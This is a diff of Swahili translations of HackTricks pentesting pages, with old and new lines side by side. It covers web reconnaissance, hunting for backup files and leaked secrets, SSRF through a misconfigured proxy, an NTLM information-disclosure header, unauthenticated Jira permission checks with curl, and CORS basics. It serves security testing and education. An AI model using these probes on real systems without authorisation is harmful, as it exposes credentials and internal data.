* **Nakala za Faili**: Mara baada ya kupata faili zote, tafuta nakala za faili zote za kutekelezeka ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida kwa jina la nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia zana [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Gundua vigezo vipya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua vigezo vilivyofichwa. Ikiwa unaweza, unaweza kujaribu** kutafuta vigezo vilivyofichwa kwenye kila faili ya wavuti inayoweza kutekelezeka.
* **Nakala za Faili za Backup**: Mara baada ya kupata faili zote, tafuta nakala za faili zote za kutekelezwa ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida kwa jina la nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia zana [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Gundua vigezo vipya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua vigezo vilivyofichwa. Ikiwa unaweza, unaweza kujaribu** kutafuta vigezo vilivyofichwa kwenye kila faili ya wavuti inayoweza kutekelezwa.
* _Arjun orodha za maneno ya msingi:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner "params" :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Maoni:** Angalia maoni ya faili zote, unaweza kupata **vyeti** au **kazi iliyofichwa**.
* Ikiwa unacheza **CTF**, "udanganyifu" wa kawaida ni kuficha **habari** ndani ya maoni kwenye **kulia** ya **ukurasa** (ukiitumia **maelfu** ya **nafasi** ili usione data ikiwa unafungua nambari ya chanzo na kivinjari). Uwezekano mwingine ni kutumia **mistari mpya kadhaa** na **kuficha habari** katika maoni chini ya ukurasa wa wavuti.
* Ikiwa unacheza **CTF**, "udanganyifu" wa kawaida ni kuficha **habari** **ndani** ya maoni kwenye **upande** wa **kulia** wa **ukurasa** (ukiitumia **maelfu** ya **nafasi** ili usione data ikiwa unafungua nambari ya chanzo na kivinjari). Uwezekano mwingine ni kutumia **mistari mpya kadhaa** na **kuficha habari** katika maoni chini ya ukurasa wa wavuti.
* **Vidokezo vya API**: Ikiwa **unapata funguo yoyote ya API** kuna mwongozo unaonyesha jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Funguo za API za Google: Ikiwa unapata funguo yoyote ya API inayofanana na **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuchunguza ni api zipi funguo inaweza kupata.
* **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au **kiungo** chochote kina uhusiano na **S3 bucket**. Katika kesi hiyo, [**angalia** ruhusa za bucket](buckets/).
* **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au **kiungo** chochote kina uhusiano na **S3 bucket**. Katika kesi hiyo, [**angalia** **ruhusa** ya ndoo](buckets/).
### Uvumbuzi Maalum
**Wakati** wa **spidering** na **brute-forcing** unaweza kupata **vitu** **vinavyovutia** ambavyo unapaswa **kuzingatia**.
**Wakati** wa **kufanya** **spidering** na **brute-forcing** unaweza kupata **vitu** **vinavyovutia** ambavyo unapaswa **kuzingatia**.
**Faili za Kuvutia**
* Tafuta **viungo** kwa faili zingine ndani ya faili za **CSS**.
* [Ikiwa unapata faili ya _**.git**_ baadhi ya habari inaweza kuchimbuliwa](git.md)
* Ikiwa unapata faili ya _**.env**_ habari kama vile funguo za api, nywila za db na habari nyingine zinaweza kupatikana.
* Ikiwa unapata **malengo ya API** unapaswa [pia kuyajaribu](web-api-pentesting.md). Hizi sio faili, lakini labda "zitaonekana kama" hizo.
* **Faili za JS**: Katika sehemu ya spidering zilitajwa zana kadhaa zinazoweza kutoa njia kutoka kwenye faili za JS. Pia, itakuwa ya kuvutia **kuangalia kila faili ya JS iliyopatikana**, kwani kwa baadhi ya hali, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano uliingizwa kwenye nambari. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
* Tafuta **viungo** kwenye faili zingine ndani ya faili za **CSS**.
* [Ikiwa unapata faili ya _**.git**_ unaweza kutoa habari fulani](git.md)
* Ikiwa unapata faili ya _**.env**_ habari kama funguo za api, nywila za db na habari nyingine zinaweza kupatikana.
* Ikiwa unapata **malengo ya API** unapaswa [pia kuzipima](web-api-pentesting.md). Hizi sio faili, lakini labda "zitaonekana kama" hizo.
* **Faili za JS**: Katika sehemu ya spidering zilizotajwa zana kadhaa ambazo zinaweza kutoa njia kutoka kwenye faili za JS. Pia, itakuwa ya kuvutia **kuangalia kila faili ya JS iliyopatikana**, kwani kwa baadhi ya hali, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano uliingizwa kwenye nambari. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
* Pia unapaswa kuangalia faili za JS zilizopatikana na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) kujua ikiwa ina udhaifu.
* **Javascript Deobfuscator na Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Deobfuscator na Unpacker wa Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deobfuscation** (javascript na herufi:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* **Deobfuscation ya JsFuck** (javascript na herufi:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* Katika hali kadhaa utahitaji **kuelewa mizunguko ya kawaida** iliyotumiwa, hii itakuwa muhimu: [https://regex101.com/](https://regex101.com)
* Katika hali kadhaa utahitaji **kuelewa mizizi ya kawaida** iliyotumiwa, hii itakuwa muhimu: [https://regex101.com/](https://regex101.com)
* Unaweza pia **kuangalia faili ambapo fomu ziligunduliwa**, kwani mabadiliko katika parameter au kuonekana kwa fomu mpya kunaweza kuashiria uwezekano wa kazi mpya inayoweza kuwa na udhaifu mpya.
**403 Imezuiwa/uthibitishaji wa Msingi/401 Haramu (kipuuzi)**
@ -323,26 +323,26 @@ _Note kwamba wakati wowote directory mpya inagunduliwa wakati wa brute-forcing a
**Kosa la 502 la Mwendeshaji wa Proksi**
Ikiwa ukurasa wowote unajibu na **nambari hiyo**, labda ni **proksi iliyopangwa vibaya**. **Ikiwa unatuma ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proksi** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF.
Ikiwa ukurasa wowote unajibu na **nambari** hiyo, labda ni **proksi iliyopangwa vibaya**. **Ikiwa unatuma ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proksi** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF.
**Uthibitishaji wa NTLM - Kufichua habari**
**Uthibitishaji wa NTLM - Ufunuo wa habari**
Ikiwa mtumishi unaoendesha unauliza uthibitishaji ni wa **Windows** au unapata ombi la kuingia kwa **vyeti vyako** (na kuuliza jina la **domaini**), unaweza kusababisha **kufichua habari**.\
**Tuma** **kichwa**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitishaji wa NTLM unavyofanya kazi**, mtumishi atajibu na habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
Unaweza **kutumia** hii **kiotomatiki** kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
Ikiwa mtandao unaoendeshwa unaomba uthibitishaji ni **Windows** au unapata ombi la kuingia kwa **vyeti vyako** (na kuuliza jina la **domain**), unaweza kusababisha **ufunuo wa habari**.\
**Tuma** **kichwa**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitishaji wa NTLM unavyofanya kazi**, mtandao utajibu na habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
Unaweza **kutumia** hii **kwa njia ya kiotomatiki** kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
**Uelekezaji wa HTTP (CTF)**
Inawezekana **kuweka maudhui** ndani ya **Uelekezaji**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kwa sababu kivinjari kitatekeleza uelekezaji) lakini kitu kinaweza **kufichwa** ndani yake.
### Ukaguzi wa Udhaifu wa Wavuti
Inawezekana **kuweka maudhui** ndani ya **Uelekezaji**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kwani kivinjari kitatekeleza uelekezaji) lakini kitu kinaweza **kufichwa** ndani yake.
### Ukaguzi wa Mapungufu kwenye Wavuti
Sasa baada ya uchunguzi kamili wa programu ya wavuti kufanywa ni wakati wa kuchunguza udhaifu mwingi uwezekanao. Unaweza kupata orodha ya ukaguzi hapa:
Sasa baada ya uchunguzi kamili wa programu ya wavuti umefanywa ni wakati wa kuchunguza mapungufu mengi yanayowezekana. Unaweza kupata orodha ya ukaguzi hapa:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %}
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
{% endcontent-ref %}
Pata habari zaidi kuhusu udhaifu wa wavuti katika:
Pata habari zaidi kuhusu mapungufu kwenye wavuti katika:
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
@ -350,11 +350,11 @@ Pata habari zaidi kuhusu udhaifu wa wavuti katika:
### Fuatilia Kurasa kwa Mabadiliko
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuweka udhaifu.
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuweka mapungufu.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunatoa ajira!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -430,14 +430,14 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
```
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -10,21 +10,21 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **tunahitaji wafanyakazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}
### Angalia Mamlaka
Katika Jira, **mamlaka zinaweza kuangaliwa** na mtumiaji yeyote, aliyejithibitisha au la, kupitia vituo vya `/rest/api/2/mypermissions` au `/rest/api/3/mypermissions`. Vituo hivi hufunua mamlaka ya sasa ya mtumiaji. Wasiwasi mkubwa unatokea wakati **watumiaji wasiojithibitisha wanashikilia mamlaka**, ikionyesha **hitilafu ya usalama** ambayo inaweza kuwa na uwezekano wa kustahiki **tuzo**. Vivyo hivyo, **mamlaka zisizotarajiwa kwa watumiaji waliojithibitisha** pia zinaonyesha **hitilafu**.
Katika Jira, **mamlaka zinaweza kuangaliwa** na mtumiaji yeyote, aliye na uthibitisho au la, kupitia vituo vya `/rest/api/2/mypermissions` au `/rest/api/3/mypermissions`. Vituo hivi hufunua mamlaka ya sasa ya mtumiaji. Wasiwasi muhimu unatokea wakati **watumiaji wasiothibitishwa wanashikilia mamlaka**, ikionyesha **hitilafu ya usalama** ambayo inaweza kuwa na uwezekano wa kustahiki **tuzo**. Vivyo hivyo, **mamlaka zisizotarajiwa kwa watumiaji waliothibitishwa** pia zinaonyesha **hitilafu ya usalama**.
**Sasisho muhimu** lilifanywa tarehe **1 Februari 2019**, likihitaji kituo cha 'mypermissions' kuwa na **parameta ya 'ruhusa'**. Mahitaji haya yanakusudia **kuimarisha usalama** kwa kufafanua mamlaka yanayoulizwa: [angalia hapa](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
**Sasisho muhimu** lilifanywa tarehe **1 Februari 2019**, ikihitaji vituo vya 'mypermissions' kuwa na **parameta ya 'ruhusa'**. Mahitaji haya yanakusudia **kuimarisha usalama** kwa kufafanua mamlaka yanayoulizwa: [angalia hapa](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -73,12 +73,12 @@ Mfano: `https://domain-yako.atlassian.net/rest/api/2/mypermissions?permissions=B
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
```
### Uchambuzi wa Kiotomatiki
### Uchambuzi wa kiotomatiki
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
@ -94,6 +94,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,49 +1,49 @@
# CORS - Makosa ya Usanidi na Kupita
# CORS - Makosa ya Usanidi na Kupitisha
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Ni nini CORS?
Mfumo wa Kugawana Rasilmali kati ya Asili Tofauti (CORS) **inaruhusu seva kuamua ni nani anaweza kupata mali zao** na **njia za ombi za HTTP zinazoruhusiwa** kutoka vyanzo vya nje.
Mkataba wa Kugawana Rasilmali kati ya Mito (CORS) **inaruhusu seva kuamua ni nani anaweza kupata mali zao** na **njia za ombi za HTTP zipi zinaruhusiwa** kutoka vyanzo vya nje.
Sera ya **asili sawa** inahitaji kwamba **seva inayotaka** rasilimali na seva inayohifadhi **rasilimali** washiriki itifaki sawa (k.m., `http://`), jina la kikoa (k.m., `internal-web.com`), na **bandari** (k.m., 80). Chini ya sera hii, kurasa za wavuti kutoka kikoa na bandari sawa tu ndizo zinaruhusiwa kupata rasilimali.
Sera ya **asili sawa** inahitaji kwamba **seva inayotaka** rasilimali na seva inayohifadhi **rasilimali** washiriki itifaki sawa (k.m., `http://`), jina la kikoa (k.m., `internal-web.com`), na **bandari** (k.m., 80). Chini ya sera hii, kurasa za wavuti kutoka kwa kikoa na bandari sawa tu ndio zinaruhusiwa kupata rasilimali.
Matumizi ya sera ya asili sawa katika muktadha wa `http://normal-website.com/example/example.html` inaonyeshwa kama ifuatavyo:
| URL iliyofikiwa | Ruhusa ya kupatikana? |
| ----------------------------------------- | ---------------------------------- |
| URL iliyopatikana | Kupatikana kuruhusiwa? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Ndiyo: Itifaki, kikoa, na bandari sawa |
| `http://normal-website.com/example2/` | Ndiyo: Itifaki, kikoa, na bandari sawa |
| `https://normal-website.com/example/` | Hapana: Itifaki na bandari tofauti |
| `https://normal-website.com/example/` | Hapana: Itifaki tofauti na bandari |
| `http://en.normal-website.com/example/` | Hapana: Kikoa tofauti |
| `http://www.normal-website.com/example/` | Hapana: Kikoa tofauti |
| `http://normal-website.com:8080/example/` | Hapana: Bandari tofauti* |
| `http://normal-website.com:8080/example/` | Hapana: Bandari tofauti\* |
*Internet Explorer haizingatii nambari ya bandari katika kutekeleza sera ya asili sawa, hivyo kuruhusu upatikanaji huu.
\*Internet Explorer haizingatii nambari ya bandari katika kutekeleza sera ya asili sawa, hivyo kuruhusu ufikiaji huu.
### Kichwa cha `Access-Control-Allow-Origin`
Kichwa hiki kinaweza kuruhusu **asili nyingi**, thamani ya **`null`**, au alama ya nanga **`*`**. Walakini, **kivinjari chochote hakiruhusu asili nyingi**, na matumizi ya alama ya nanga `*` yanategemea **mipaka**. (Alama ya nanga lazima itumiwe pekee yake, na matumizi yake pamoja na `Access-Control-Allow-Credentials: true` hayaruhusiwi.)
Kichwa hiki kinaweza kuruhusu **mizizi mingi**, thamani ya **`null`**, au alama ya mwitikio **`*`**. Walakini, **kivinjari hakisaidii mizizi mingi**, na matumizi ya alama ya mwitikio `*` yanategemea **vizuizi**. (Alama ya mwitikio inapaswa kutumika peke yake, na matumizi yake pamoja na `Access-Control-Allow-Credentials: true` hayaruhusiwi.)
Kichwa hiki kinatolewa na **seva** kujibu ombi la rasilimali kati ya uwanja wa msalaba lililoanzishwa na wavuti, na kivinjari kikiongeza kiotomatiki kichwa cha `Origin`.
Kichwa hiki **hutolewa na seva** kujibu ombi la rasilimali kati ya mito lililoanzishwa na wavuti, na kivinjari kiotomatiki huongeza kichwa cha `Origin`.
### Kichwa cha `Access-Control-Allow-Credentials`
Kwa **chaguo-msingi**, maombi ya asili tofauti hufanywa bila vitambulisho kama vidakuzi au kichwa cha Uthibitishaji. Walakini, seva ya uwanja wa msalaba inaweza kuruhusu kusoma majibu wakati vitambulisho vinatumwa kwa kuweka kichwa cha `Access-Control-Allow-Credentials` kuwa **`true`**.
Kwa **chaguo-msingi**, maombi ya kati-mito hufanywa bila sifa kama vidakuzi au kichwa cha Uthibitishaji. Walakini, seva ya kati-mito inaweza kuruhusu kusoma kwa mwitikio wakati sifa zinatumwa kwa kuweka kichwa cha `Access-Control-Allow-Credentials` kuwa **`kweli`**.
Ikiwekwa kuwa `true`, kivinjari kitatuma vitambulisho (vidakuzi, vichwa vya uthibitishaji, au vyeti vya mteja vya TLS).
Ikiwa imewekwa kuwa `kweli`, kivinjari kitatuma sifa (vidakuzi, vichwa vya uthibitishaji, au vyeti vya mteja vya TLS).
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -70,17 +70,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### Ombi la Awali la CSRF
### Ombi la CSRF la kabla ya safari
### Kuelewa Ombi la Awali katika Mawasiliano ya Kuvuka-Domain
### Kuelewa Maombi ya Kabla ya Safari katika Mawasiliano ya Kuvuka-Domeini
Wakati wa kuanzisha ombi la kuvuka-domain chini ya hali maalum, kama kutumia **njia ya HTTP isiyo ya kawaida** (kitu kingine chochote isipokuwa HEAD, GET, POST), kuongeza **vichwa vya habari** vipya, au kutumia thamani maalum ya **kichwa cha Maudhui (Content-Type)**, inaweza kuhitajika ombi la awali. Ombi hili la awali, likitumia njia ya **`OPTIONS`**, linatumika kuwajulisha seva nia ya ombi la kuvuka-mwanzo linalokuja, ikiwa ni pamoja na njia za HTTP na vichwa vya habari itakavyotumia.
Unapoanzisha ombi la kuvuka-domeini chini ya hali maalum, kama kutumia **njia ya HTTP isiyo ya kawaida** (chochote kisichokuwa HEAD, GET, POST), kuingiza **vichwa vipya**, au kutumia thamani maalum ya **kichwa cha Aina ya Yaliyomo**, ombi la kabla ya safari linaweza kuhitajika. Ombi hili la awali, likitumia njia ya **`OPTIONS`**, hutumika kumjulisha seva nia za ombi la kuvuka-matawi linalokuja, ikiwa ni pamoja na njia za HTTP na vichwa itakavyotumia.
